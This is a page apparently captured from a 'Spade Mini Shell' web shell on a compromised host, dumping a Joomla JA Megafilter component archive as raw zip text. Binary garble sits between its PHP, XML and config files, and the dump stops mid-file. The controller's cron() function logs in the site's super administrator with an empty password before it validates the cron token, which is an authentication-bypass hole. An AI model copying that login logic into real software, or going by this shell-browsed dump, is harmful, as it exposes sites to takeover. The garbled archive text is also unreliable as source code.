Spade

Mini Shell

Directory:~$ /home/lmsyaran/www/khadem/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/www/khadem/com_jamegafilter.zip

PK�v�[�#o,,
index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[���8ddjamegafilter.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

if (!defined('DS')) {
	define('DS', DIRECTORY_SEPARATOR);
}

require_once(dirname(__FILE__) . '/assets/asset.php');
JLoader::register('JaMegafilterHelper',
JPATH_ADMINISTRATOR.'/components/com_jamegafilter/helper.php');

$controller = JControllerLegacy::getInstance('JaMegaFilter');

// Perform the Request task
$input = JFactory::getApplication()->input;
$controller->execute($input->getCmd('task'));

// Redirect if set by the controller
$controller->redirect();
PK�v�[@��oocontroller.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

class JaMegaFilterController extends JControllerLegacy {
  function getAdmin(){
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select(array('u.username',
'u.password'))
      ->from($db->quoteName('#__user_usergroup_map',
'ug'))
      ->join('INNER', $db->quoteName('#__users',
'u') .' ON '. $db->quoteName('u.id')
.'='. $db->quoteName('ug.user_id'))
      ->where($db->quoteName('ug.group_id')
.'=8');
    $db->setQuery($query);
    return $db->loadAssoc();
  }

	function cron() {
    // handle login to get posts had access level
    $user = $this->getAdmin();
    JPluginHelper::importPlugin('user');
    $info = [
      'username' => $user['username'],
      'password' => '',
    ];
    $options = [
      'action' => 'core.login.site'
    ];
    JFactory::getApplication()->triggerEvent('onUserLogin',
array($info, $options));
    
		$input = $this->input;
		$token = $input->get('token');
		$params = JComponentHelper::getParams('com_jamegafilter');
		$ctoken = $params->get('crontoken');

		if ($token !== $ctoken) {
			die('token error');
		}
		
		JLoader::register('BaseFilterHelper',
JPATH_ADMINISTRATOR.'/components/com_jamegafilter/base.php');
		JLoader::register('JaMegaFilterModelDefault',
JPATH_ADMINISTRATOR .
'/components/com_jamegafilter/models/default.php');
		$model = JModelLegacy::getInstance('JaMegaFilterModelDefault');

		$proxy = $input->get('proxy');
		$id = $input->getInt('id');
		if ($proxy && $id) {
			$model->exportByID($id);
			$result = array(
				'success' => 'Export done. ID: ' . $id
			);

			die(json_encode($result));
		}

		$fids = $params->get('fids', array());
		$last_cron = $params->get('last_cron', 0);
		$next_cron = $last_cron + $params->get('time', 0);
		if ($fids && $next_cron < time()) {
			$params->set('last_cron', time());
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->update('#__extensions')
				->set($db->quoteName('params') . '=' .
$db->quote($params->toString()))
				->where($db->quoteName('element') . '=' .
$db->quote('com_jamegafilter'));
			$db->setQuery($query);
			$db->execute();
			
			foreach ($fids as $fid) {
				$model->exportByID($fid);
			}
		}
		
		$result = array(
			'success' => 'cron done'
		);

		die(json_encode($result));
	}
}PK�v�[�#o,,views/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[�#o,,views/default/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[k��G�-�-views/default/view.html.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 
// No direct access to this file
use Joomla\CMS\Factory;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;

defined('_JEXEC') or die('Restricted access');

class JaMegaFilterViewDefault extends BaseHtmlView {

	public $_layout_path = array();
	public $_css_path = array();

  function accessProtected($obj, $prop) {
    $reflection = new ReflectionClass($obj);
    $property = $reflection->getProperty($prop);
    $property->setAccessible(true);
    return $property->getValue($obj);
  }

  function getProtectedValue($obj, $name) {
    $array = (array)$obj;
    $prefix = chr(0).'*'.chr(0);
    return $array[$prefix.$name];
  }

	function display($tpl = null) {
    $app = Factory::getApplication();
    JPluginHelper::importPlugin('jamegafilter');

    $menu = $app->getMenu()->getActive();
    if (version_compare(JVERSION, '4', 'ge')){
      if (version_compare(PHP_VERSION, '5.3.0',
'>=')){
        $objParams = $this->accessProtected($menu, 'params');
        $this->document->setDescription(
          $this->accessProtected($objParams,
'data')->{'menu-meta_description'}
        );
      }else{
        $objParams = $this->getProtectedValue($menu,
'params');
        $this->document->setDescription(
          $this->getProtectedValue($objParams,
'data')->{'menu-meta_description'}
        );
      }
    }else{
      $objParams = $menu->params;
     
$this->document->setDescription($objParams->get('menu-meta_description'));
    }

    $config = JFactory::getConfig();
    $robots = $this->getProtectedValue($config,
'data')->{'robots'};
    // $robots = $config->get('robots');

    if ($this->getProtectedValue($objParams,
'data')->{'robots'}) {
			$this->document->setMetadata('robots',
$menu->params->get('robots'));
		} else {
			$this->document->setMetadata('robots', $robots);
		}

    $this->item = $this->get('Item');

		if (empty($this->item)) {
			$app->enqueueMessage(JText::_('COM_JAMEGAFILTER_UNDEFINED_MENU_ID'),
'error');
			return;
		}

		if (empty($this->item['published'])) {
			$app->enqueueMessage(JText::_('COM_JAMEGAFILTER_ITEM_UNPUBLISHED'),
'error');
			return;
		}

		if (!JaMegaFilterHelper::getComponentStatus('com_' .
$this->item['type'])) {
			$app->enqueueMessage(JText::_('COM_JAMEGAFILTER_COMPONENT_NOT_FOUND'),
'error');
			return;
		}

		if ($menu) {
			$params = JComponentHelper::getParams('com_menus');
			$mparams = $params->merge($objParams);
			$this->item['mparams'] = $mparams;
			$page_title = $mparams->get('page_title');
			if ($page_title) {
				$this->document->setTitle($page_title);
			}
		}
		
		$jatype = $this->item['type'];

		$this->_addCss($jatype);

		$this->_addLayoutPath($jatype);

		$this->jstemplate = $this->_loadJsTemplate();

		$filter_config = $this->_getFilterConfig($this->item);

		if ($jatype === 'blank') {
			parent::display($tpl);
		} else {
			$app->triggerEvent('onBeforeDisplay' . ucfirst($jatype) .
'Items', array($this->jstemplate, $filter_config,
$this->item ));
		}
	}

	function _getFilterConfig($item) {	
		$config = new stdClass();
		$jinput = JFactory::getApplication()->input;
		$itp = $jinput->get('itemperrow', 3, 'INT');
		$column = $jinput->get('itempercol', 5, 'INT');
		$show_more = $jinput->get('show_more', 0, 'INT');
		$show_more = $jinput->get('show_more', 0, 'INT');
		$default_result_view = $jinput->get('default_result_view',
'grid', 'STRING');
		if ($default_result_view == 'list') $column=1;
		$itp = $itp*$column;
		$paginate = array($itp, $itp +($column*1), $itp +($column*2), $itp
+($column*3), $itp +($column*4));

		$params = json_decode($item['params']);
		$fields = array();
		$sorts = array();
		$sorts[] = array('field' => 'position',
'title' => JText::_('JPOSITION'));
		$default_sort = 'position';
		$sort_by = 'desc';
		$layout_addition = !empty($params->filterfields->layout_addition) ?
$params->filterfields->layout_addition : "";
		$columns = !empty($params->filterfields->jacolumn) ?
$params->filterfields->jacolumn : "";
		if (!empty($params->filterfields)) {
			$sort_by = $params->filterfields->sort_by ?
$params->filterfields->sort_by : 'position';
			foreach ((array) $params->filterfields as $filters) {
				foreach ((array) $filters as $filter) {
					if (!is_object($filter)) continue;

					if (!empty($filter->sort))
						$sorts[] = array(
							'field' => $filter->field,
							'title' => $filter->title
						);
					
					if (!empty($filter->published)) {
						$fields[] = array(
							'type' =>
str_replace('select','dropdown',$filter->type),
							'title' => $filter->title,
							'multiple' =>
preg_match('/select/',$filter->type) ?
'multiple':'',
							'field' => $filter->field,
							'frontend_field' => str_replace('.value',
'.frontend_value', $filter->field));
					}
					
					if ((!empty($filter->sort) && $filter->sort == 1)
&& (!empty($filter->sort_default) &&
$filter->sort_default == 1))
						$default_sort=$filter->field;
				}
			}
		}

    $langs = LanguageHelper::getKnownLanguages();
		$lang_tag = JFactory::getLanguage()->getTag();
		$lang_suffix = str_replace('-', '_',
strtolower($lang_tag));
    # fetch json data
		$json = JPATH_ROOT . '/media/com_jamegafilter/' . $lang_suffix
. '/' . $item['id'] . '.json';
		if (file_exists($json)) {
			$config->json = '/media/com_jamegafilter/' . $lang_suffix .
'/' . $item['id'] . '.json';
		} else {
			foreach ($langs as $lang ) {
				$alter_suffix = str_replace('-', '_',
strtolower($lang['tag']));
				$alter_json = JPATH_ROOT . '/media/com_jamegafilter/' .
$alter_suffix . '/' . $item['id'] . '.json';
				if ($lang['tag'] != $lang_tag &&
file_exists($alter_json)) {
					$config->json = '/media/com_jamegafilter/' .
$alter_suffix . '/' . $item['id'] . '.json';
					break;
				}
			}
		}

		$option = $jinput->get('option');
		if (!empty($option) && $option === 'com_jamegafilter')
{
			$config->isComponent = true;
		}

		$filter_order = array();
		if (!empty($params->filterfields->filter_order->order)) {
			$filter_order = $params->filterfields->filter_order->order;
		}

		$custom_order = array();
		if (!empty($params->filterfields->filter_order->custom_order)) {
			$custom_order =
$params->filterfields->filter_order->custom_order;
		}

		if (!empty($params->filterfields->filter_order->sort)) {
			$newOrder = [];
			foreach ($params->filterfields->filter_order->sort AS $ord) {
				foreach ($fields AS $f) {
					if ($f['field'] == $ord) {
						$newOrder[] = $f;
					}
				}
			}
			$fields = $newOrder;
		}

		$config->fullpage = $jinput->get('fullpage', 1);
		$config->autopage = $jinput->get('autopage',0);
		$config->sticky = $jinput->get('sticky',0);
		$config->paginate = $paginate;
		$config->sorts = $sorts;
		$config->sort_by = $sort_by;
		$config->layout_addition = $layout_addition;
		$config->jacolumn = $columns;
		$config->default_sort = str_replace('.value',
'.frontend_value', $default_sort);
		$config->fields = $fields;
		$config->direction =
$jinput->get('direction','vertical');
    // hide sticky sidebar function when config direction is Horizontal
    if ($config->direction == 'sb-horizontal'){
      $config->sticky = 0;
    }
    
		$document = JFactory::getDocument();
		$document->addScriptDeclaration('
				var jamegafilter_baseprice =
"'.JText::_('COM_JAMEGAFILTER_BASE_PRICE').'";
				var jamegafilter_desc =
"'.JText::_('COM_JAMEGAFILTER_DESC').'";
				var jamegafilter_thumb =
"'.JText::_('COM_JAMEGAFILTER_THUMB').'";
				var jamegafilter_to =
"'.JText::_('COM_JAMEGAFILTER_TO').'";
				var jamegafilter_show_more =
"'.JText::_('COM_JAMEGAFILTER_SHOW_MORE').'";
				var ja_show_more = '.$show_more.';
				var jamegafilter_default_result_view =
"'.$jinput->get('default_result_view',
'grid').'";
				var ja_fileter_field_order = '.json_encode($filter_order).';
				var ja_custom_ordering = ' . json_encode($custom_order) .' ||
{};
		');

		JText::script('COM_JAMEGAFILTER_MULTIPLE_SELECT_PLACEHOLDER');

		return $config;
	}

	function _loadJsTemplate() {
		jimport('joomla.filesystem.folder');
		jimport('joomla.filesystem.file');

		$template_names = array();

		$layouts_path = JPATH_SITE .
'/components/com_jamegafilter/layouts';
		$filter_path = $layouts_path . '/filter';

		$base_files = JFolder::files($layouts_path);
		foreach ($base_files as $base) {
			$template_names[] = JFile::stripExt($base);
		}

		$filter_files = JFolder::files($filter_path);
		foreach ($filter_files as $filter) {
			$template_names[] = JFile::stripExt($filter);
		}

		$jstemplate = new stdClass();
		foreach ($template_names as $name) {
			$jstemplate->{ $name } = $this->_loadLayout($name);
		}

		return $jstemplate;
	}

	function _addLayoutPath($jatype) {
		$app = JFactory::getApplication();
		
		$input = $app->input;

		$jalayout = $input->get('jalayout', 'default');

		$layouts_path = JPATH_SITE .
'/components/com_jamegafilter/layouts';

		$filter_path = $layouts_path . '/filter';

		$template_path = JPATH_THEMES . '/' . $app->getTemplate() .
'/html/layouts/jamegafilter/' . $jatype . '/' .
$jalayout;

		$filter_template_path = $template_path . '/filter';

		$plugin_path_default = JPATH_PLUGINS . '/jamegafilter/' .
$jatype . '/layouts/default';

		$filter_plugin_path_default = $plugin_path_default . '/filter';
		
		$plugin_path = JPATH_PLUGINS . '/jamegafilter/' . $jatype .
'/layouts/' . $jalayout;

		$filter_plugin_path = $plugin_path . '/filter';

		// add template path
		array_unshift($this->_layout_path, $filter_path);

		array_unshift($this->_layout_path, $layouts_path);
		
		array_unshift($this->_layout_path, $filter_plugin_path_default);
		
		array_unshift($this->_layout_path, $plugin_path_default);

		array_unshift($this->_layout_path, $filter_plugin_path);

		array_unshift($this->_layout_path, $plugin_path);

		array_unshift($this->_layout_path, $filter_template_path);

		array_unshift($this->_layout_path, $template_path);

		return;
	}

	function _loadLayout($name) {
		// Clear prior output
		$this->_output = null;

		// Load the template script
		jimport('joomla.filesystem.path');

		$filename = preg_replace('/[^A-Z0-9_\.-]/i', '',
$name);

		$file = JPath::find($this->_layout_path, $filename .
'.php');

		if ($file != false) {

			ob_start();

			include $file;

			$this->_output = ob_get_contents();
			ob_end_clean();

			return $this->_output;
		} else {
			throw new
Exception(JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND',
$name . '.php'), 500);
		}
	}

	function _addCss($jatype) {
		$app = JFactory::getApplication();
		$doc = JFactory::getDocument();

		if (file_exists(JPATH_SITE .
'/components/com_jamegafilter/assets/css/style.css')) {
			$doc->addStyleSheet(JURI::root(true) .
'/components/com_jamegafilter/assets/css/style.css');
		}

		if (file_exists(JPATH_PLUGINS . '/jamegafilter/' . $jatype .
'/assets/css/style.css')) {
			$doc->addStyleSheet(JURI::root(true) .
'/plugins/jamegafilter/' . $jatype .
'/assets/css/style.css');
		}
		
		if (file_exists(JPATH_THEMES . '/' . $app->getTemplate() .
'/css/jamegafilter.css')) {
			$doc->addStyleSheet('templates/' . $app->getTemplate() 
. '/css/jamegafilter.css');
		}
	}

}
PK�v�[�#o,,views/default/tmpl/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[���ԓ�views/default/tmpl/default.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
 
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
PK�v�[�J���views/default/tmpl/default.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_JAMEGAFILTER_DEFAULT_LAYOUT">
		<message>COM_JAMEGAFILTER_DEFAULT_LAYOUT_DESC</message>
	</layout>
	<fields
			name="request"
			addfieldpath="/administrator/components/com_jamegafilter/models/fields"
			>
		<fieldset name="request">
			<field name="id" type="jamgfilter"
label="COM_JAMEGAFILTER_ID"
description="COM_JAMEGAFILTER_ID_DES" />
			<field name="jalayout" type="jalayout"
label="COM_JAMEGAFILTER_JALAYOUT"
description="COM_JAMEGAFILTER_JALAYOUT_DESC" />
			<field name="itemperrow" type="list"
default="5" label="COM_JAMEGAFILTER_ROWS"
description="COM_JAMEGAFILTER_ROWS_DESC">
			  <option value="1">1</option>
			  <option value="2">2</option>
			  <option value="3">3</option>
			  <option value="4">4</option>
			  <option value="5">5</option>
			  <option value="6">6</option>
			  <option value="7">7</option>
			  <option value="8">8</option>
			  <option value="9">9</option>
			  <option value="10">10</option>
			</field>
			<field name="itempercol" type="list"
default="3" label="COM_JAMEGAFILTER_COLUMNS"
description="COM_JAMEGAFILTER_COLUMNS_DESC">
			  <option value="1">1</option>
			  <option value="2">2</option>
			  <option value="3">3</option>
			  <option value="4">4</option>
			  <option value="5">5</option>
			  <option value="6">6</option>
			  <option value="7">7</option>
			  <option value="8">8</option>
			  <option value="9">9</option>
			  <option value="10">10</option>
			</field>

			<field name="default_result_view" type="list"
default="grid"
label="COM_JAMEGAFILTER_DEFAULT_RESULT_VIEW"
description="COM_JAMEGAFILTER_DEFAULT_RESULT_VIEW_DESC">
			  <option value="grid">Grid</option>
			  <option value="list">List</option>
			</field>

			<field name="show_more" type="number"
default="0" label="COM_JAMEGAFILTER_SHOW_MORE"
description="COM_JAMEGAFILTER_SHOW_MORE_DESC" />

			<field name="fullpage" type="radio"
default="1" label="COM_JAMEGAFILTER_SHOW_FILTER_BAR"
description="COM_JAMEGAFILTER_SHOW_FILTER_BAR_DESC"
class="btn-group btn-group-yesno">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			
			<field name="sticky" type="radio"
default="0"
				   label="COM_JAMEGAFILTER_STICKY_SIDEBAR"
				   description="COM_JAMEGAFILTER_STICKY_SIDEBAR_DESC"
				   class="btn-group btn-group-yesno"
showon="fullpage:1[AND]direction:vertical">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			
			<field name="scrolltop" type="radio"
default="1" label="COM_JAMEGAFILTER_SCROLL_TOP"
description="COM_JAMEGAFILTER_SCROLL_TOP_DESC"
class="btn-group btn-group-yesno">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="autopage" type="radio"
default="0" label="COM_JAMEGAFILTER_AUTO_PAGE"
description="COM_JAMEGAFILTER_AUTO_PAGE_DESC"
class="btn-group btn-group-yesno">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			
			<field name="direction" type="list"
default="vertical" label="COM_JAMEGAFILTER_DIRECTION"
description="COM_JAMEGAFILTER_DIRECTION_DESC">
				<option value="vertical">VERTICAL</option>
				<option value="sb-horizontal">HORIZONTAL</option>
			</field>
		</fieldset>
	</fields>
</metadata>PK�v�[�Lо�	�	assets/asset.phpnu�[���<?php
/**
 * ------------------------------------------------------------------------
 * JA Megafilter Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * This file may not be redistributed in whole or significant part.
 * ------------------------------------------------------------------------
 */
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');

$input = JFactory::getApplication()->input;
$doc = JFactory::getDocument();
$currentLanguage = JFactory::getLanguage();
$isRTL = $currentLanguage->isRtl();

$doc->addStyleSheet(JUri::root(true) .
'/components/com_jamegafilter/assets/css/jquery-ui.min.css');
if (!defined('T3_PLUGIN')) {
	$doc->addStyleSheet('https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css');
}
JHtml::_('behavior.core');
JHtml::_('jquery.framework');

if (!version_compare(JVERSION, '4', 'ge')){
  JHtml::_('jquery.ui');
}

JHtml::_('formbehavior.chosen');

if ($input->get('sticky')) {
	$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/sticky-kit.min.js');
}
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery-ui.range.min.js');

if ($isRTL) {
	$doc->addStyleSheet(JUri::root(true) .
'/components/com_jamegafilter/assets/css/jquery.ui.slider-rtl.css');
	$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery.ui.slider-rtl.min.js');
}

$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery.ui.datepicker.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery.ui.touch-punch.min.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery.cookie.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/script.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/libs.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/megafilter.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/main.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/dust-helpers.min.js');

JText::script('COM_JAMEGAFILTER_FROM');
JText::script('COM_JAMEGAFILTER_LOADING');PK�v�[
��?�?assets/prepros.cfgnu�[���[
  {
    "About This File": "This is Prepros config file,
https://prepros.io . Please do not edit this file, doing so can crash
Prepros."
  },
  {
    "data": {
      "id": "",
      "cfgVersion": 2,
      "name": "assets",
      "path": "",
      "files": {
        "fa530e6d": {
          "id": "fa530e6d",
          "path": "asset.php",
          "output": "asset.php",
          "name": "asset.php",
          "category": "JUST_WATCH",
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "php"
        },
        "a77417ae": {
          "id": "a77417ae",
          "path": "css/jquery-ui.min.css",
          "output": "css/jquery-ui.min-dist.css",
          "name": "jquery-ui.min.css",
          "category": "CSS",
          "autoCompile": false,
          "sourceMaps": false,
          "compress": true,
          "cssnext": false,
          "autoprefixer": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "css"
        },
        "39fcd72e": {
          "id": "39fcd72e",
          "path": "css/jquery.ui.css",
          "output": "css/jquery.ui-dist.css",
          "name": "jquery.ui.css",
          "category": "CSS",
          "autoCompile": false,
          "sourceMaps": false,
          "compress": true,
          "cssnext": false,
          "autoprefixer": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "css"
        },
        "0c7b55b5": {
          "id": "0c7b55b5",
          "path": "css/style.css",
          "output": "css/style-dist.css",
          "name": "style.css",
          "category": "CSS",
          "autoCompile": false,
          "sourceMaps": false,
          "compress": true,
          "cssnext": false,
          "autoprefixer": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "css"
        },
        "30eabe28": {
          "id": "30eabe28",
          "path": "js/jquery-ui.min.js",
          "output": "js/jquery-ui.min-dist.js",
          "name": "jquery-ui.min.js",
          "category": "JS",
          "autoCompile": false,
          "uglify": true,
          "mangle": true,
          "babel": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "javascript"
        },
        "edf0f7bf": {
          "id": "edf0f7bf",
          "path": "js/jquery-ui.range.min.js",
          "output": "js/jquery-ui.range.min-dist.js",
          "name": "jquery-ui.range.min.js",
          "category": "JS",
          "autoCompile": false,
          "uglify": true,
          "mangle": true,
          "babel": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "javascript"
        },
        "9169e8db": {
          "id": "9169e8db",
          "path": "js/jquery.ui.datepicker.js",
          "output": "js/jquery.ui.datepicker-dist.js",
          "name": "jquery.ui.datepicker.js",
          "category": "JS",
          "autoCompile": false,
          "uglify": true,
          "mangle": true,
          "babel": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "javascript"
        },
        "86b83291": {
          "id": "86b83291",
          "path": "js/jquery.ui.slider.js",
          "output": "js/jquery.ui.slider-dist.js",
          "name": "jquery.ui.slider.js",
          "category": "JS",
          "autoCompile": false,
          "uglify": true,
          "mangle": true,
          "babel": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "javascript"
        },
        "a756e730": {
          "id": "a756e730",
          "path": "js/jquery.ui.touch-punch.min.js",
          "output":
"js/jquery.ui.touch-punch.min-dist.js",
          "name": "jquery.ui.touch-punch.min.js",
          "category": "JS",
          "autoCompile": false,
          "uglify": true,
          "mangle": true,
          "babel": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "javascript"
        },
        "dfccf4db": {
          "id": "dfccf4db",
          "path": "js/libs.js",
          "output": "js/libs-dist.js",
          "name": "libs.js",
          "category": "JS",
          "autoCompile": false,
          "uglify": true,
          "mangle": true,
          "babel": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "javascript"
        },
        "50ef0fa9": {
          "id": "50ef0fa9",
          "path": "js/main.js",
          "output": "js/main-dist.js",
          "name": "main.js",
          "category": "JS",
          "autoCompile": false,
          "uglify": true,
          "mangle": true,
          "babel": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "javascript"
        },
        "52d364df": {
          "id": "52d364df",
          "path": "images/color-stars.png",
          "output": "images/color-stars.png",
          "name": "color-stars.png",
          "category": "IMAGE",
          "size": 1352,
          "type": "png",
          "initialSize": 1352,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "c2d3e4b5": {
          "id": "c2d3e4b5",
          "path": "images/ui-icons_444444_256x240.png",
          "output":
"images/ui-icons_444444_256x240.png",
          "name": "ui-icons_444444_256x240.png",
          "category": "IMAGE",
          "size": 7006,
          "type": "png",
          "initialSize": 7006,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "52f39cb5": {
          "id": "52f39cb5",
          "path": "images/ui-icons_555555_256x240.png",
          "output":
"images/ui-icons_555555_256x240.png",
          "name": "ui-icons_555555_256x240.png",
          "category": "IMAGE",
          "size": 7074,
          "type": "png",
          "initialSize": 7074,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "3f70d6ae": {
          "id": "3f70d6ae",
          "path": "images/ui-icons_777620_256x240.png",
          "output":
"images/ui-icons_777620_256x240.png",
          "name": "ui-icons_777620_256x240.png",
          "category": "IMAGE",
          "size": 4676,
          "type": "png",
          "initialSize": 4676,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "5c1bc199": {
          "id": "5c1bc199",
          "path": "images/ui-icons_777777_256x240.png",
          "output":
"images/ui-icons_777777_256x240.png",
          "name": "ui-icons_777777_256x240.png",
          "category": "IMAGE",
          "size": 7013,
          "type": "png",
          "initialSize": 7013,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "6f21460e": {
          "id": "6f21460e",
          "path": "images/ui-icons_cc0000_256x240.png",
          "output":
"images/ui-icons_cc0000_256x240.png",
          "name": "ui-icons_cc0000_256x240.png",
          "category": "IMAGE",
          "size": 4632,
          "type": "png",
          "initialSize": 4632,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "444905ca": {
          "id": "444905ca",
          "path": "images/ui-icons_ffffff_256x240.png",
          "output":
"images/ui-icons_ffffff_256x240.png",
          "name": "ui-icons_ffffff_256x240.png",
          "category": "IMAGE",
          "size": 6313,
          "type": "png",
          "initialSize": 6313,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "93a0971c": {
          "id": "93a0971c",
          "path": "images/quantity-bg.png",
          "output": "images/quantity-bg.png",
          "name": "quantity-bg.png",
          "category": "IMAGE",
          "size": 1092,
          "type": "png",
          "initialSize": 1092,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "c0abb3d5": {
          "id": "c0abb3d5",
          "path": "images/plus.png",
          "output": "images/plus.png",
          "name": "plus.png",
          "category": "IMAGE",
          "size": 1060,
          "type": "png",
          "initialSize": 1060,
          "optimized": false,
          "height": 0,
          "width": 0
        },
        "7cd07d7a": {
          "id": "7cd07d7a",
          "path": "less/variables.less",
          "output": "css/variables.css",
          "name": "variables.less",
          "category": "CSS",
          "autoCompile": false,
          "autoprefixer": false,
          "compress": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": true,
          "parents": [
            "bb53beb9"
          ],
          "type": "less"
        },
        "bb53beb9": {
          "id": "bb53beb9",
          "path": "less/style.less",
          "output": "css/style.css",
          "name": "style.less",
          "category": "CSS",
          "autoCompile": true,
          "autoprefixer": false,
          "compress": false,
          "sourceMaps": false,
          "customOutput": false,
          "imported": false,
          "parents": [],
          "type": "less"
        }
      },
      "deploymentHistory": {},
      "config": {
        "watch": "",
        "liveRefresh": true,
        "useCustomServer": false,
        "port": 0,
        "useCustomPort": false,
        "customServerUrl": "",
        "watchedFileExtensions": "less, sass, scss, styl,
md, markdown, coffee, js, jade, haml, slim, ls, html,htm, css, rb, php,
asp, aspx, cfm, chm, cms, do, erb, jsp, mhtml, mspx, pl, py, shtml, cshtml,
cs,vb, vbs, tpl, ctp, kit, png, jpg, jpeg",
        "excludePatterns": "Prepros Build, node_modules,
.git, .idea, .sass-cache, .hg, .svn, .cache, config.rb, prepros.cfg,
.DS_Store, bower_components",
        "autoprefixerBrowsers": "last 4 versions",
        "liveRefreshDelay": 0,
        "disableImportAutoCompile": true,
        "browserFlow": {
          "enabled": false,
          "mouseSync": true,
          "scrollSync": true,
          "keyboardSync": true,
          "animateCss": true
        },
        "deployment": {
          "ftpHost": "",
          "ftpPort": "21",
          "ftpUsePrivateKey": false,
          "ftpPrivateKey": "",
          "ftpRemotePath": "",
          "ftpUserName": "",
          "ftpPassword": "",
          "ftpType": "FTP",
          "ftpSecure": false,
          "ftpUploadOnModify": false,
          "ftpRefreshAfterUpload": false,
          "ignorePreprocessableFiles": true,
          "copyPath": "Prepros Build",
          "excludePatterns": ".map, Prepros Build,
config.rb, prepros.cfg, node_modules, .git, .idea, .sass-cache, .hg, .svn,
.cache, .DS_Store, bower_components"
        },
        "css": {
          "path": "css/",
          "outputType": "REPLACE_SEGMENT",
          "segmentToReplace": "less, sass, stylus, scss,
styl",
